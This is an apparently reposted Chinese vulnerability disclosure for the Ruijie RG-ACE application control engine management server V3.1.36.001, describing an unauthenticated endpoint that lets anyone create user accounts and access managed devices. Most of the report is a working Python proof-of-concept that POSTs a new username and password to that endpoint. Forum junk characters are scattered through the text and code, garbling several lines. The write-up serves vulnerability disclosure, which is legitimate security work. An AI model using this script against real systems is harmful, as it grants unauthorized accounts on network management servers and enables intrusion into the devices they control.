锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）

9 f6 W! i# N3 |, A7 z
测试的具体版本是
产品名称: 锐捷应用控制引擎
7 J& Z7 ]: i4 r! ]. R: B' ~版本号: 3.1.36.001 TC
: Q; T- v" N# {, C; ~# ^编译时间: 201104291730
1 y" e) w7 _/ x4 v! D
2 f' `& e: r6 M8 y# _
漏洞证明：

& N  Y& D3 o5 T) p8 D9 _

  k3 \5 X& b; [# W3 h$ A% Y3 v


执行脚本
#! /usr/bin/env python
% ?  r* O4 j+ f/ G6 F#coding=gbk
) Y( c" @1 w0 x. f" Q# {#RG-ACE管理服务器 V3.1.36.001
% W7 c4 i) X! Z* V  P% gimport urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
. s# b7 E- P3 E& B$ p- m' i: D("useractionname","addButtonValue"),
) ^. [& {# B5 ]& }# _2 N("useropermanager","userManager"),
("userName","t"), #######账号自己加
; u9 q7 q7 u, |: N' N1 A; P6 ]& L("pwd","aaaaaa"),######密码自己加
! x* |* Q9 l' i("trueName","ad"),
2 z% o2 d6 n! v% r; S("email",""),
("mobilePhone",""),
" j1 w- c* r& f  z5 w* m6 d1 V6 `("officePhone",""),
("addr",""),
3 S  I3 ^" W4 V, h("submit","确定"))
' x' R& H* f$ H' m" }9 s8 R$ h- zurllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"
' W2 {0 ]! I& z5 E5 B2 H" ^" t
登录，连接设备
0 N% j# o- v8 p# `6 V


" H/ t' N2 d6 k' ?0 Q; I- I

默认的管理员admin权限更大点
4 K8 k. E: x. T6 @




- e2 _' J: f8 E+ t' \修复方案：
7 u; I6 m" V) I* y加强对接口的权限验证
+ z8 h; \; F. s, p0 S" D